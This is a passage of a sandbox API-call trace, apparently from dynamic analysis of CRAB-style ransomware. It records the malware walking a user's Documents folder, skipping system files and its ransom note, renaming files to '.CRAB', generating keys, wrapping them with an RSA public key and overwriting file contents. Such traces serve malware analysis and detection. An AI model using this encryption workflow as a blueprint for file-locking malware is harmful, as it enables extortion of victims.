	[0127.911] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.911] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0127.912] CloseHandle (hObject=0x140) returned 1
	[0127.912] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.912] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.912] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.912] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.913] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.913] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.913] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.913] lstrcmpW (lpString1="miTR57MHbEwdqQB.pps", lpString2=".") returned 1
	[0127.913] lstrcmpW (lpString1="miTR57MHbEwdqQB.pps", lpString2="..") returned 1
	[0127.913] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="miTR57MHbEwdqQB.pps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps"
	[0127.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.913] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps") returned 96
	[0127.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps") returned 96
	[0127.913] lstrlenW (lpString=".pps") returned 4
	[0127.913] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.914] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pps ") returned 5
	[0127.914] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.914] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps") returned 96
	[0127.914] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps") returned 96
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="desktop.ini") returned 1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="autorun.inf") returned 1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="ntuser.dat") returned -1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="iconcache.db") returned 1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="bootsect.bak") returned 1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="boot.ini") returned 1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="ntuser.dat.log") returned -1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="thumbs.db") returned -1
	[0127.914] lstrcmpiW (lpString1="miTR57MHbEwdqQB.pps", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.914] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.914] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB") returned 101
	[0127.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\mitr57mhbewdqqb.pps")) returned 0x20
	[0127.915] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps", dwFileAttributes=0x20) returned 1
	[0127.915] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\mitr57mhbewdqqb.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\mitr57mhbewdqqb.pps.crab")) returned 1
	[0127.916] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.916] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB"
	[0127.916] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB.CRAB"
	[0127.916] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0127.919] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.919] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.919] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0127.920] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0127.920] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.920] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6eb78) returned 1
	[0127.923] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.923] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.923] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0127.923] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.923] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.924] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.924] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.924] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0127.927] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318fc78) returned 1
	[0127.927] CryptGetKeyParam (in: hKey=0x318fc78, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.927] CryptEncrypt (in: hKey=0x318fc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0127.927] GetLastError () returned 0x0
	[0127.927] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.927] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6eb78) returned 1
	[0127.930] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f838) returned 1
	[0127.930] CryptGetKeyParam (in: hKey=0x318f838, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.930] CryptEncrypt (in: hKey=0x318f838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0127.930] GetLastError () returned 0x0
	[0127.931] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.931] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\miTR57MHbEwdqQB.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\mitr57mhbewdqqb.pps.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.931] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.931] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.932] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0x14811, lpOverlapped=0x0) returned 1
	[0127.944] VirtualAlloc (lpAddress=0x0, dwSize=0x14820, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.945] VirtualAlloc (lpAddress=0x0, dwSize=0x14820, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.947] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.948] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffeb7ef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.948] WriteFile (in: hFile=0x140, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x14820, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314a9bc*=0x14820, lpOverlapped=0x0) returned 1
	[0127.948] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.949] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.952] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.952] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.953] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0127.953] CloseHandle (hObject=0x140) returned 1
	[0127.955] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.956] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.956] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.956] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.956] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.957] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.957] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.957] lstrcmpW (lpString1="OWZ4U.pptx", lpString2=".") returned 1
	[0127.957] lstrcmpW (lpString1="OWZ4U.pptx", lpString2="..") returned 1
	[0127.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="OWZ4U.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx"
	[0127.957] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.957] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx") returned 87
	[0127.957] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx") returned 87
	[0127.957] lstrlenW (lpString=".pptx") returned 5
	[0127.957] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.957] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0127.958] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.958] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx") returned 87
	[0127.958] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx") returned 87
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="desktop.ini") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="autorun.inf") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="ntuser.dat") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="iconcache.db") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="bootsect.bak") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="boot.ini") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="ntuser.dat.log") returned 1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="thumbs.db") returned -1
	[0127.958] lstrcmpiW (lpString1="OWZ4U.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.958] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.958] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB") returned 92
	[0127.958] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\owz4u.pptx")) returned 0x20
	[0127.958] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx", dwFileAttributes=0x20) returned 1
	[0127.959] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\owz4u.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\owz4u.pptx.crab")) returned 1
	[0127.960] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.960] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB"
	[0127.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB.CRAB"
	[0127.960] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0127.963] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.963] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.963] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0127.963] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.963] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.964] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e6b0) returned 1
	[0127.966] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.967] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.967] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0127.967] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.967] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.967] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.967] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.968] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0127.970] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f7b8) returned 1
	[0127.971] CryptGetKeyParam (in: hKey=0x318f7b8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.971] CryptEncrypt (in: hKey=0x318f7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0127.971] GetLastError () returned 0x0
	[0127.971] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.971] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0127.974] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318fbf8) returned 1
	[0127.974] CryptGetKeyParam (in: hKey=0x318fbf8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.974] CryptEncrypt (in: hKey=0x318fbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0127.974] GetLastError () returned 0x0
	[0127.974] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.974] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\OWZ4U.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\owz4u.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.975] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.975] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.975] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0x9f6b, lpOverlapped=0x0) returned 1
	[0128.020] VirtualAlloc (lpAddress=0x0, dwSize=0x9f70, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.020] VirtualAlloc (lpAddress=0x0, dwSize=0x9f70, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.021] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.022] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff6095, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.022] WriteFile (in: hFile=0x140, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x9f70, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314a9bc*=0x9f70, lpOverlapped=0x0) returned 1
	[0128.022] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.022] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.026] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.026] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.026] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0128.026] CloseHandle (hObject=0x140) returned 1
	[0128.027] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.027] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.027] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.027] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
